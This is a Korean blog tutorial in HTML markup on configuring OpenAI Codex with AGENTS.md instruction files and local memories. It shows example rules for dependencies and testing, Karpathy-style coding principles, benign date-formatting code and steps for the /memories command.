&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2052&quot; data-origin-height=&quot;1104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JHncF/dJMcagemIRV/FHwLHTwFdQjqIBtO3abLU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JHncF/dJMcagemIRV/FHwLHTwFdQjqIBtO3abLU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JHncF/dJMcagemIRV/FHwLHTwFdQjqIBtO3abLU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJHncF%2FdJMcagemIRV%2FFHwLHTwFdQjqIBtO3abLU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2052&quot; height=&quot;1104&quot; data-origin-width=&quot;2052&quot; data-origin-height=&quot;1104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;2.1 AGENTS.md &amp;mdash; 반복 규칙을 저장소에 남기는 장치&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AGENTS.md는 Codex가 작업할 때 계속 참고하는 지침 파일이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들면 &quot;테스트는 이 명령으로 실행한다&quot;, &quot;새 의존성(외부 라이브러리)은 함부로 추가하지 않는다&quot; 같은 반복 규칙을 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/customization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Customization 문서&lt;/a&gt;와 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/guides/agents-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AGENTS.md 가이드&lt;/a&gt;에 따르면 전역 지침, 저장소 지침, 하위 폴더 지침을 함께 사용할 수 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이 글에서 기억할 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전역 지침&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;개인 기본값&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모든 프로젝트에서 유지하고 싶은 습관&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;저장소 지침&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 공통 규칙&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;빌드&amp;middot;테스트 명령, 리뷰 기준, 금지 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;하위 폴더 지침&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;특정 영역 규칙&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프론트엔드, 백엔드, 문서 폴더처럼 영역별로 다른 기준&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 전역 지침을 먼저 보고, 프로젝트 루트에서 현재 작업 폴더 방향으로 지침을 이어 붙인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서 필요한 수준은 여기까지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 파일 배치, 예외 파일, 길이 제한, Rules 정책처럼 팀 운영에 필요한 세부 내용은 별도 AGENTS.md &amp;middot; Rules 편에서 다루는 편이 낫다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 글의 경계&lt;/b&gt;: 여기서는 &quot;AGENTS.md는 반복 규칙을 담는 배경 지침&quot;이라는 역할만 잡는다. 구체적인 파일 배치, 예외 파일, 지침 길이 관리, 명령 실행 정책과 충돌 처리는 AGENTS.md &amp;middot; Rules 편의 본문 주제다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- Karpathy 4원칙 + AGENTS.md 비교 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;AGENTS.md에 Karpathy의 4원칙 넣기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AGENTS.md를 어떻게 채울지 막막하다면 출발점으로 쓸 수 있는 원칙이 있다. 2026년 초 AI 연구자 Andrej Karpathy가 LLM 코딩의 반복 실패 패턴을 정리하면서 화제가 된 4가지 원칙이다. Forrest Chang이 이를 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;CLAUDE.md&lt;/code&gt;(Claude Code의 같은 역할 파일)로 만들어 공개했고, GitHub 10만 스타를 넘겼다. 이 원칙들은 AGENTS.md에도 그대로 적용된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;코드 변경 시 4가지 원칙&lt;/b&gt; (우선순위와 무관하게 모든 코드 변경 작업에 적용)&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;가정하지 말고 표면화하라&lt;/b&gt; &amp;mdash; 불확실하면 멈추고 묻는다. 해석이 여러 개면 모두 제시한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;단순함이 우선&lt;/b&gt; &amp;mdash; 요청된 것만 구현한다. 추측성 추상화&amp;middot;유연성&amp;middot;방어 코드 금지.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;외과적 변경&lt;/b&gt; &amp;mdash; 요청과 직접 연결되지 않은 줄은 건드리지 않는다. 본인이 만든 orphan만 정리한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;검증 가능한 목표&lt;/b&gt; &amp;mdash; 작업 시작 전 성공 기준을 명시하고, 끝난 뒤 그 기준으로 자체 검증한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AGENTS.md에 넣으면 어떤 차이가 생기는지 두 가지 시나리오로 비교해본다. 아래 예시는 실제로 Codex에게 같은 프롬프트를 줬을 때 나오는 반응 차이다. (실제 결과 스크린샷은 직접 확인해보자.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위치는 Codex로 작업할 프로젝트 폴더의 루트 경로에 추가하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 방금 생성한 NextJS 앱의 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1742&quot; data-origin-height=&quot;746&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzgfL0/dJMcajvmbVw/5N7EUFz91XgexYtFqFmIt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzgfL0/dJMcajvmbVw/5N7EUFz91XgexYtFqFmIt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzgfL0/dJMcajvmbVw/5N7EUFz91XgexYtFqFmIt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzgfL0%2FdJMcajvmbVw%2F5N7EUFz91XgexYtFqFmIt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1742&quot; height=&quot;746&quot; data-origin-width=&quot;1742&quot; data-origin-height=&quot;746&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2080&quot; data-origin-height=&quot;1116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzD2qV/dJMb99M1WIT/p0WgHeT1h6KlGjU2dKasCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzD2qV/dJMb99M1WIT/p0WgHeT1h6KlGjU2dKasCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzD2qV/dJMb99M1WIT/p0WgHeT1h6KlGjU2dKasCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzD2qV%2FdJMb99M1WIT%2Fp0WgHeT1h6KlGjU2dKasCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2080&quot; height=&quot;1116&quot; data-origin-width=&quot;2080&quot; data-origin-height=&quot;1116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 10px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;비교 1 &amp;mdash; 날짜 처리: 기존 라이브러리를 쓸까, 새로 설치할까&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트&lt;/b&gt;: &quot;결제 날짜를 'YYYY년 MM월 DD일' 형식으로 포맷하는 함수를 추가해줘&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AGENTS.md 없을 때&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;javascript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;// Codex가 알아서 판단: &quot;dayjs가 좋겠다&quot;
// 먼저 설치하라고 안내하거나, 직접 package.json에 추가함
import dayjs from 'dayjs';

export function formatPaymentDate(date) {
  return dayjs(date).format('YYYY년 MM월 DD일');
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트에 이미 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;date-fns&lt;/code&gt;가 있어도 Codex는 모른다. 새 의존성이 들어오고, 팀에서 &quot;왜 갑자기 dayjs?&quot;라는 리뷰 코멘트가 달린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AGENTS.md 있을 때&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# AGENTS.md (저장소 루트)
## 의존성 규칙
- 날짜 처리는 이미 설치된 date-fns를 쓴다
- 새 npm 패키지를 추가하기 전에 반드시 물어봐라&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;javascript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;// Codex가 AGENTS.md를 읽고: &quot;date-fns를 써야 한다&quot;
import { format } from 'date-fns';
import { ko } from 'date-fns/locale';

export function formatPaymentDate(date) {
  return format(new Date(date), 'yyyy년 MM월 dd일', { locale: ko });
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새 의존성이 생기지 않고, 리뷰어가 따로 지적할 일도 없다. Karpathy의 &quot;단순함이 우선&quot; 원칙이 여기서 동작한다 &amp;mdash; 이미 있는 것을 쓰고, 없으면 먼저 물어본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 10px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;비교 2 &amp;mdash; 버그 수정 후: 테스트를 자동으로 돌릴까, 안 돌릴까&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트&lt;/b&gt;: &quot;로그인 세션 만료 버그를 고쳐줘&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AGENTS.md 없을 때&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Codex 응답:
&quot;auth.js의 세션 만료 로직을 수정했습니다.
토큰 갱신 타이밍을 조정하면 문제가 해결될 것입니다.&quot;

&amp;rarr; 코드만 수정하고 완료 보고
&amp;rarr; 어떤 테스트도 실행하지 않음
&amp;rarr; 개발자가 수동으로 확인해야 함&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AGENTS.md 있을 때&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# AGENTS.md (저장소 루트)
## 테스트 규칙
- 코드 수정 후 반드시 `npm test -- auth`를 실행한다
- 테스트가 실패하면 수정하지 않고 결과를 먼저 보고한다&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Codex 응답:
&quot;auth.js를 수정했습니다. AGENTS.md에 따라 npm test -- auth를 실행합니다.

결과: 3 passed, 0 failed
수정이 기존 테스트를 깨뜨리지 않음을 확인했습니다.&quot;

&amp;rarr; 수정 후 자동으로 인증 관련 테스트 실행
&amp;rarr; 테스트 통과 여부를 스스로 확인하고 보고&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Karpathy의 &quot;검증 가능한 목표&quot; 원칙이다. AGENTS.md에 &quot;수정 후 테스트를 실행한다&quot;고 적어두면, 개발자가 매번 프롬프트에 &quot;테스트도 돌려봐&quot;를 적을 필요가 없다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AGENTS.md 시작 템플릿&lt;/b&gt;: 처음 만든다면 아래 내용을 저장소 루트에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;로 저장하고 프로젝트에 맞게 채워가면 된다.&lt;/p&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 13px; line-height: 1.6; margin: 8px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# AGENTS.md

## 테스트
- 코드 변경 후 [테스트 명령]을 실행한다

## 의존성
- 새 패키지를 추가하기 전에 반드시 물어봐라

## 코딩 규칙
- 불확실한 부분이 있으면 구현 전에 먼저 물어봐라
- 요청에 없는 파일은 건드리지 않는다&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;2.2 로컬 메모리 &amp;mdash; ~/.codex/memories/&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리 파일은 Codex 홈 디렉토리 아래에 저장된다. 기본 위치는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/memories/&lt;/code&gt;다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/memories&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Memories 문서&lt;/a&gt;에 따르면, 이 파일에는 이전 대화의 요약, 오래 유지할 항목, 최근 입력, 그 내용을 뒷받침하는 증거가 들어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리에 들어가기 좋은 내용은 안정적인 개인 선호, 반복되는 작업 흐름, 기술 스택, 프로젝트 관례, 자주 겪는 함정이다. 반대로 반드시 지켜야 하는 규칙은 AGENTS.md나 저장소 문서에 둬야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리는 모든 대화가 끝나는 즉시 만들어지는 기능이 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 활성 작업이나 너무 짧은 세션은 건너뛸 수 있고, 비밀값은 생성된 메모리 필드에서 가린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 스레드가 충분히 유휴 상태가 된 뒤 백그라운드에서 업데이트될 수 있으며, 남은 사용량이 낮으면 백그라운드 메모리 생성이 건너뛰어질 수 있다. 방금 끝낸 대화가 바로 메모리에 보이지 않아도 이상한 상황은 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 점은 메모리 파일을 &lt;b&gt;Codex가 만들어 둔 기록&lt;/b&gt;으로 봐야 한다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사람이 확인하거나 검토할 수는 있지만, 의도적인 동작 변경의 기본 수단으로 삼지는 않는다. 그런 변경은 설정, config, AGENTS.md 같은 명시적인 지침으로 관리하는 편이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex가 비밀값을 가리더라도, Codex 홈 디렉토리나 메모리 파일을 다른 사람에게 공유하기 전에는 민감한 내용이 없는지 직접 살펴보는 것이 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex 앱과 TUI에서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/memories&lt;/code&gt; 명령으로 현재 스레드가 기존 메모리를 사용할지, 이 스레드를 앞으로의 메모리 생성에 사용할지 조절할 수 있다. 단, 이 설정은 현재 스레드 기준이고 전역 메모리 설정 자체를 바꾸는 것은 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) /memories를 사용하지 않고 기억해달라고 자연어로 해보았다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1956&quot; data-origin-height=&quot;430&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1I3eA/dJMcai4fcmg/sPQRqbB5X2QoyIWMegDK70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1I3eA/dJMcai4fcmg/sPQRqbB5X2QoyIWMegDK70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1I3eA/dJMcai4fcmg/sPQRqbB5X2QoyIWMegDK70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1I3eA%2FdJMcai4fcmg%2FsPQRqbB5X2QoyIWMegDK70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1956&quot; height=&quot;430&quot; data-origin-width=&quot;1956&quot; data-origin-height=&quot;430&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 이번 테스트에서는 AGENTS.md 에 저장하는 모습.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;782&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z3ME5/dJMcacwg72f/sl2knDGfyR4pGtvkAnhrl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z3ME5/dJMcacwg72f/sl2knDGfyR4pGtvkAnhrl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z3ME5/dJMcacwg72f/sl2knDGfyR4pGtvkAnhrl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz3ME5%2FdJMcacwg72f%2Fsl2knDGfyR4pGtvkAnhrl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;782&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;782&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- /memories 입력 해보자. 다음과 같이 나올 것이다. 엔터 입력 &amp;gt;&amp;gt; 관련 설명은 이후 [ 2.3 ] 으로 바로 넘어 가자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;812&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1OMM0/dJMcaf7yJ0O/WkxzJu3Fjktx3KqEz4BCB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1OMM0/dJMcaf7yJ0O/WkxzJu3Fjktx3KqEz4BCB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1OMM0/dJMcaf7yJ0O/WkxzJu3Fjktx3KqEz4BCB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1OMM0%2FdJMcaf7yJ0O%2FWkxzJu3Fjktx3KqEz4BCB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;370&quot; height=&quot;74&quot; data-origin-width=&quot;812&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- Yes &amp;gt; 엔터&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1530&quot; data-origin-height=&quot;318&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccdGlL/dJMcabc0GXY/XUD9jmjrtHEQW5jpif8n0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccdGlL/dJMcabc0GXY/XUD9jmjrtHEQW5jpif8n0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccdGlL/dJMcabc0GXY/XUD9jmjrtHEQW5jpif8n0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccdGlL%2FdJMcabc0GXY%2FXUD9jmjrtHEQW5jpif8n0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1530&quot; height=&quot;318&quot; data-origin-width=&quot;1530&quot; data-origin-height=&quot;318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 다음 대화 세션부터 적용된다는데 이럴때 팁은 일단 세션 종류 후, 다시 codex로 신규 대화 세션을 열고 기존 대화를 이어가면된다.&lt;/p&gt;
